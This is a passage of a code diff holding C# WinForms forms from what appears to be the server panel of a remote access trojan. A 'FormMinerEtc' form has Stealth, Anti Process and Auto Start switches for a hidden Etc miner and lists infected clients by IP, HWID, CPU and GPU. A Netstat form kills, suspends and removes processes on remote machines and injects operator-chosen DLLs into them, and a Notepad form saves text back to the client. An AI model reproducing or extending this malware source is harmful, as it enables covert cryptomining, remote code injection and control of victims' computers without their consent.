this.rjTextBox3.PlaceholderText = "Args Stealh";
this.rjTextBox3.Size = new System.Drawing.Size(788, 30);
this.rjTextBox3.TabIndex = 11;
this.rjTextBox3.Texts = "";
this.rjTextBox3.UnderlinedStyle = false;
this.materialSwitch3.AutoSize = true;
this.materialSwitch3.Depth = 0;
this.materialSwitch3.Location = new System.Drawing.Point(394, 9);
this.materialSwitch3.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch3.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch3.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch3.Name = "materialSwitch3";
this.materialSwitch3.Ripple = true;
this.materialSwitch3.Size = new System.Drawing.Size(108, 37);
this.materialSwitch3.TabIndex = 10;
this.materialSwitch3.Text = "Stealth";
this.materialSwitch3.UseVisualStyleBackColor = true;
this.rjTextBox2.BackColor = System.Drawing.Color.White;
this.rjTextBox2.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjTextBox2.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox2.BorderRadius = 0;
this.rjTextBox2.BorderSize = 1;
this.rjTextBox2.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox2.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.rjTextBox2.Location = new System.Drawing.Point(15, 50);
this.rjTextBox2.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox2.Multiline = false;
this.rjTextBox2.Name = "rjTextBox2";
this.rjTextBox2.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox2.PasswordChar = false;
this.rjTextBox2.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox2.PlaceholderText = "Args add";
this.rjTextBox2.Size = new System.Drawing.Size(788, 30);
this.rjTextBox2.TabIndex = 9;
this.rjTextBox2.Texts = "";
this.rjTextBox2.UnderlinedStyle = false;
this.materialSwitch2.AutoSize = true;
this.materialSwitch2.Depth = 0;
this.materialSwitch2.Location = new System.Drawing.Point(517, 9);
this.materialSwitch2.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch2.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch2.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch2.Name = "materialSwitch2";
this.materialSwitch2.Ripple = true;
this.materialSwitch2.Size = new System.Drawing.Size(129, 37);
this.materialSwitch2.TabIndex = 8;
this.materialSwitch2.Text = "Auto Start";
this.materialSwitch2.UseVisualStyleBackColor = true;
this.materialSwitch2.CheckedChanged += new System.EventHandler(materialSwitch2_CheckedChanged);
this.rjButton1.BackColor = System.Drawing.Color.White;
this.rjButton1.BackgroundColor = System.Drawing.Color.White;
this.rjButton1.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 1;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.Location = new System.Drawing.Point(15, 12);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(92, 28);
this.rjButton1.TabIndex = 7;
this.rjButton1.Text = "Hide";
this.rjButton1.TextColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
this.materialSwitch1.AutoSize = true;
this.materialSwitch1.Depth = 0;
this.materialSwitch1.Location = new System.Drawing.Point(236, 9);
this.materialSwitch1.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch1.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch1.Name = "materialSwitch1";
this.materialSwitch1.Ripple = true;
this.materialSwitch1.Size = new System.Drawing.Size(146, 37);
this.materialSwitch1.TabIndex = 6;
this.materialSwitch1.Text = "Anti Process";
this.materialSwitch1.UseVisualStyleBackColor = true;
this.materialSwitch7.AutoSize = true;
this.materialSwitch7.Depth = 0;
this.materialSwitch7.Location = new System.Drawing.Point(132, 9);
this.materialSwitch7.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch7.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch7.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch7.Name = "materialSwitch7";
this.materialSwitch7.Ripple = true;
this.materialSwitch7.Size = new System.Drawing.Size(92, 37);
this.materialSwitch7.TabIndex = 4;
this.materialSwitch7.Text = "Start";
this.materialSwitch7.UseVisualStyleBackColor = true;
this.materialSwitch7.CheckedChanged += new System.EventHandler(materialSwitch7_CheckedChanged);
this.GridClients.AllowUserToAddRows = false;
this.GridClients.AllowUserToDeleteRows = false;
this.GridClients.AllowUserToResizeColumns = false;
this.GridClients.AllowUserToResizeRows = false;
this.GridClients.BackgroundColor = System.Drawing.Color.White;
this.GridClients.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.GridClients.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.GridClients.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.GridClients.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
this.GridClients.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.GridClients.Columns.AddRange(this.ColumnIP, this.ColumnHwid, this.ColumnStatus, this.ColumnCpu, this.ColumnGpu);
this.GridClients.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.GridClients.DefaultCellStyle = dataGridViewCellStyle2;
this.GridClients.Dock = System.Windows.Forms.DockStyle.Fill;
this.GridClients.EnableHeadersVisualStyles = false;
this.GridClients.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
this.GridClients.Location = new System.Drawing.Point(3, 192);
this.GridClients.Name = "GridClients";
this.GridClients.ReadOnly = true;
this.GridClients.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.GridClients.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
this.GridClients.RowHeadersVisible = false;
this.GridClients.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.GridClients.ShowCellErrors = false;
this.GridClients.ShowCellToolTips = false;
this.GridClients.ShowEditingIcon = false;
this.GridClients.ShowRowErrors = false;
this.GridClients.Size = new System.Drawing.Size(971, 340);
this.GridClients.TabIndex = 11;
this.ColumnIP.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None;
this.ColumnIP.HeaderText = "IP";
this.ColumnIP.MinimumWidth = 120;
this.ColumnIP.Name = "ColumnIP";
this.ColumnIP.ReadOnly = true;
this.ColumnIP.Width = 120;
this.ColumnHwid.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None;
this.ColumnHwid.HeaderText = "Hwid";
this.ColumnHwid.MinimumWidth = 200;
this.ColumnHwid.Name = "ColumnHwid";
this.ColumnHwid.ReadOnly = true;
this.ColumnHwid.Width = 200;
this.ColumnStatus.HeaderText = "Status";
this.ColumnStatus.MinimumWidth = 100;
this.ColumnStatus.Name = "ColumnStatus";
this.ColumnStatus.ReadOnly = true;
this.ColumnCpu.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.ColumnCpu.HeaderText = "Cpu";
this.ColumnCpu.MinimumWidth = 100;
this.ColumnCpu.Name = "ColumnCpu";
this.ColumnCpu.ReadOnly = true;
this.ColumnGpu.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
this.ColumnGpu.HeaderText = "Gpu";
this.ColumnGpu.Name = "ColumnGpu";
this.ColumnGpu.ReadOnly = true;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(977, 535);
base.Controls.Add(this.GridClients);
base.Controls.Add(this.panel1);
base.Name = "FormMinerEtc";
this.Text = "Etc Miner Online [0]";
base.Load += new System.EventHandler(FormProcess_Load);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.GridClients).EndInit();
base.ResumeLayout(false);
}
}
+459
View File
@@ -0,0 +1,459 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Reflection;
using System.Threading.Tasks;
using System.Windows.Forms;
using Leb128;
using MaterialSkin;
using MaterialSkin.Controls;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormNetstat : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
private ContextMenuStrip contextMenuStrip1;
private ToolStripMenuItem killRemoveToolStripMenuItem;
private Panel panel1;
public DataGridView dataGridView2;
public MaterialLabel materialLabel1;
private ToolStripSeparator toolStripSeparator1;
private ToolStripMenuItem toolStripMenuItem2;
private ToolStripMenuItem toolStripMenuItem1;
private ToolStripSeparator dToolStripMenuItem1;
private ToolStripMenuItem suspendProcessToolStripMenuItem;
private ToolStripMenuItem resumeProcessToolStripMenuItem;
private DataGridViewTextBoxColumn Column1;
private DataGridViewTextBoxColumn Column2;
private DataGridViewTextBoxColumn Column3;
private DataGridViewTextBoxColumn Column5;
private DataGridViewTextBoxColumn Column6;
private DataGridViewTextBoxColumn Column4;
private DataGridViewTextBoxColumn Column7;
private ToolStripMenuItem dllInjectorToolStripMenuItem;
private ToolStripMenuItem x64ToolStripMenuItem;
private ToolStripMenuItem x32ToolStripMenuItem;
public FormNetstat()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
typeof(DataGridView).InvokeMember("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.SetProperty, null, dataGridView2, new object[1] { true });
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void ChangeScheme(object sender)
{
dataGridView2.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
dataGridView2.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
dataGridView2.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
dataGridView2.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
private int[] PidsSelected()
{
List<int> list = new List<int>();
foreach (DataGridViewRow selectedRow in dataGridView2.SelectedRows)
{
list.Add((int)selectedRow.Cells[1].Value);
}
return list.ToArray();
}
private void killRemoveToolStripMenuItem_Click(object sender, EventArgs e)
{
client.Send(LEB128.Write(new object[1] { "Refresh" }));
}
private void toolStripMenuItem2_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = PidsSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "Kill", num }));
}
}
}
private void toolStripMenuItem1_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = PidsSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "KillRemove", num }));
}
}
}
private void suspendProcessToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = PidsSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "Suspend", num }));
}
}
}
private void resumeProcessToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = PidsSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "Resume", num }));
}
}
}
private void x64ToolStripMenuItem_Click(object sender, EventArgs e)
{
string checksum = Methods.GetChecksum("Plugin\\Injector.dll");
OpenFileDialog openFileDialog = new OpenFileDialog();
try
{
openFileDialog.Title = "Choose dll";
openFileDialog.Filter = "Files(*.dll)|*.dll";
openFileDialog.Multiselect = false;
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
Task.Run(delegate
{
parrent.Send(new object[3]
{
"Invoke",
checksum,
LEB128.Write(new object[4]
{
"InjectX64",
Path.GetFileName(openFileDialog.FileName),
File.ReadAllBytes(openFileDialog.FileName),
string.Join(";", PidsSelected())
})
});
});
}
}
finally
{
if (openFileDialog != null)
{
((IDisposable)openFileDialog).Dispose();
}
}
}
private void x32ToolStripMenuItem_Click(object sender, EventArgs e)
{
string checksum = Methods.GetChecksum("Plugin\\Injector.dll");
OpenFileDialog openFileDialog = new OpenFileDialog();
try
{
openFileDialog.Title = "Choose dll";
openFileDialog.Filter = "Files(*.dll)|*.dll";
openFileDialog.Multiselect = false;
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
Task.Run(delegate
{
parrent.Send(new object[3]
{
"Invoke",
checksum,
LEB128.Write(new object[4]
{
"InjectX32",
Path.GetFileName(openFileDialog.FileName),
File.ReadAllBytes(openFileDialog.FileName),
string.Join(";", PidsSelected())
})
});
});
}
}
finally
{
if (openFileDialog != null)
{
((IDisposable)openFileDialog).Dispose();
}
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormNetstat));
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.killRemoveToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
this.toolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.dToolStripMenuItem1 = new System.Windows.Forms.ToolStripSeparator();
this.suspendProcessToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.resumeProcessToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.panel1 = new System.Windows.Forms.Panel();
this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel();
this.dataGridView2 = new System.Windows.Forms.DataGridView();
this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column6 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column7 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.dllInjectorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.x64ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.x32ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuStrip1.SuspendLayout();
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.dataGridView2).BeginInit();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[8] { this.killRemoveToolStripMenuItem, this.toolStripSeparator1, this.toolStripMenuItem2, this.toolStripMenuItem1, this.dllInjectorToolStripMenuItem, this.dToolStripMenuItem1, this.suspendProcessToolStripMenuItem, this.resumeProcessToolStripMenuItem });
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(191, 170);
this.killRemoveToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("killRemoveToolStripMenuItem.Image");
this.killRemoveToolStripMenuItem.Name = "killRemoveToolStripMenuItem";
this.killRemoveToolStripMenuItem.Size = new System.Drawing.Size(190, 22);
this.killRemoveToolStripMenuItem.Text = "Refresh";
this.killRemoveToolStripMenuItem.Click += new System.EventHandler(killRemoveToolStripMenuItem_Click);
this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(187, 6);
this.toolStripMenuItem2.Image = (System.Drawing.Image)resources.GetObject("toolStripMenuItem2.Image");
this.toolStripMenuItem2.Name = "toolStripMenuItem2";
this.toolStripMenuItem2.Size = new System.Drawing.Size(190, 22);
this.toolStripMenuItem2.Text = "Kill Process";
this.toolStripMenuItem2.Click += new System.EventHandler(toolStripMenuItem2_Click);
this.toolStripMenuItem1.Image = (System.Drawing.Image)resources.GetObject("toolStripMenuItem1.Image");
this.toolStripMenuItem1.Name = "toolStripMenuItem1";
this.toolStripMenuItem1.Size = new System.Drawing.Size(190, 22);
this.toolStripMenuItem1.Text = "Kill Process + Remove";
this.toolStripMenuItem1.Click += new System.EventHandler(toolStripMenuItem1_Click);
this.dToolStripMenuItem1.Name = "dToolStripMenuItem1";
this.dToolStripMenuItem1.Size = new System.Drawing.Size(187, 6);
this.suspendProcessToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("suspendProcessToolStripMenuItem.Image");
this.suspendProcessToolStripMenuItem.Name = "suspendProcessToolStripMenuItem";
this.suspendProcessToolStripMenuItem.Size = new System.Drawing.Size(190, 22);
this.suspendProcessToolStripMenuItem.Text = "Suspend Process";
this.suspendProcessToolStripMenuItem.Click += new System.EventHandler(suspendProcessToolStripMenuItem_Click);
this.resumeProcessToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("resumeProcessToolStripMenuItem.Image");
this.resumeProcessToolStripMenuItem.Name = "resumeProcessToolStripMenuItem";
this.resumeProcessToolStripMenuItem.Size = new System.Drawing.Size(190, 22);
this.resumeProcessToolStripMenuItem.Text = "Resume Process";
this.resumeProcessToolStripMenuItem.Click += new System.EventHandler(resumeProcessToolStripMenuItem_Click);
this.panel1.Controls.Add(this.materialLabel1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panel1.Location = new System.Drawing.Point(3, 512);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(794, 20);
this.panel1.TabIndex = 1;
this.materialLabel1.AutoSize = true;
this.materialLabel1.Depth = 0;
this.materialLabel1.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel1.Location = new System.Drawing.Point(2, 1);
this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel1.Name = "materialLabel1";
this.materialLabel1.Size = new System.Drawing.Size(94, 19);
this.materialLabel1.TabIndex = 1;
this.materialLabel1.Text = "Please wait...";
this.dataGridView2.AllowDrop = true;
this.dataGridView2.AllowUserToAddRows = false;
this.dataGridView2.AllowUserToDeleteRows = false;
this.dataGridView2.AllowUserToResizeColumns = false;
this.dataGridView2.AllowUserToResizeRows = false;
this.dataGridView2.BackgroundColor = System.Drawing.Color.White;
this.dataGridView2.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.dataGridView2.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.dataGridView2.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.dataGridView2.Columns.AddRange(this.Column1, this.Column2, this.Column3, this.Column5, this.Column6, this.Column4, this.Column7);
this.dataGridView2.ContextMenuStrip = this.contextMenuStrip1;
this.dataGridView2.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView2.DefaultCellStyle = dataGridViewCellStyle2;
this.dataGridView2.Dock = System.Windows.Forms.DockStyle.Fill;
this.dataGridView2.Enabled = false;
this.dataGridView2.EnableHeadersVisualStyles = false;
this.dataGridView2.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
this.dataGridView2.Location = new System.Drawing.Point(3, 64);
this.dataGridView2.Name = "dataGridView2";
this.dataGridView2.ReadOnly = true;
this.dataGridView2.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
this.dataGridView2.RowHeadersVisible = false;
this.dataGridView2.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.dataGridView2.ShowCellErrors = false;
this.dataGridView2.ShowCellToolTips = false;
this.dataGridView2.ShowEditingIcon = false;
this.dataGridView2.ShowRowErrors = false;
this.dataGridView2.Size = new System.Drawing.Size(794, 448);
this.dataGridView2.TabIndex = 17;
this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column1.HeaderText = "Process Name";
this.Column1.MinimumWidth = 150;
this.Column1.Name = "Column1";
this.Column1.ReadOnly = true;
this.Column1.Width = 150;
this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column2.HeaderText = "Process ID";
this.Column2.MinimumWidth = 100;
this.Column2.Name = "Column2";
this.Column2.ReadOnly = true;
this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column3.HeaderText = "Protocol";
this.Column3.MinimumWidth = 70;
this.Column3.Name = "Column3";
this.Column3.ReadOnly = true;
this.Column3.Width = 75;
this.Column5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column5.HeaderText = "Local Host";
this.Column5.MinimumWidth = 100;
this.Column5.Name = "Column5";
this.Column5.ReadOnly = true;
this.Column6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column6.HeaderText = "Remote Host";
this.Column6.MinimumWidth = 110;
this.Column6.Name = "Column6";
this.Column6.ReadOnly = true;
this.Column6.Width = 110;
this.Column4.HeaderText = "State";
this.Column4.MinimumWidth = 100;
this.Column4.Name = "Column4";
this.Column4.ReadOnly = true;
this.Column7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
this.Column7.HeaderText = "Process Path";
this.Column7.Name = "Column7";
this.Column7.ReadOnly = true;
this.dllInjectorToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[2] { this.x64ToolStripMenuItem, this.x32ToolStripMenuItem });
this.dllInjectorToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("dllInjectorToolStripMenuItem.Image");
this.dllInjectorToolStripMenuItem.Name = "dllInjectorToolStripMenuItem";
this.dllInjectorToolStripMenuItem.Size = new System.Drawing.Size(190, 22);
this.dllInjectorToolStripMenuItem.Text = "Dll Injector";
this.x64ToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("x64ToolStripMenuItem.Image");
this.x64ToolStripMenuItem.Name = "x64ToolStripMenuItem";
this.x64ToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.x64ToolStripMenuItem.Text = "X64";
this.x64ToolStripMenuItem.Click += new System.EventHandler(x64ToolStripMenuItem_Click);
this.x32ToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("x32ToolStripMenuItem.Image");
this.x32ToolStripMenuItem.Name = "x32ToolStripMenuItem";
this.x32ToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.x32ToolStripMenuItem.Text = "X32";
this.x32ToolStripMenuItem.Click += new System.EventHandler(x32ToolStripMenuItem_Click);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(800, 535);
base.Controls.Add(this.dataGridView2);
base.Controls.Add(this.panel1);
base.Name = "FormNetstat";
this.Text = "Netstat";
base.Load += new System.EventHandler(FormProcess_Load);
this.contextMenuStrip1.ResumeLayout(false);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.dataGridView2).EndInit();
base.ResumeLayout(false);
}
}
+109
View File
@@ -0,0 +1,109 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using MaterialSkin;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormNotepad : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
public RichTextBox richTextBox1;
public FormNotepad()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
richTextBox1.KeyDown += RichTextBox1_KeyDown;
}
private void RichTextBox1_KeyDown(object sender, KeyEventArgs e)
{
if (e.Control && e.KeyCode == Keys.S)
{
client.Send(new object[2] { "Save", richTextBox1.Text });
e.SuppressKeyPress = true;
}
}
private void ChangeScheme(object sender)
{
richTextBox1.ForeColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
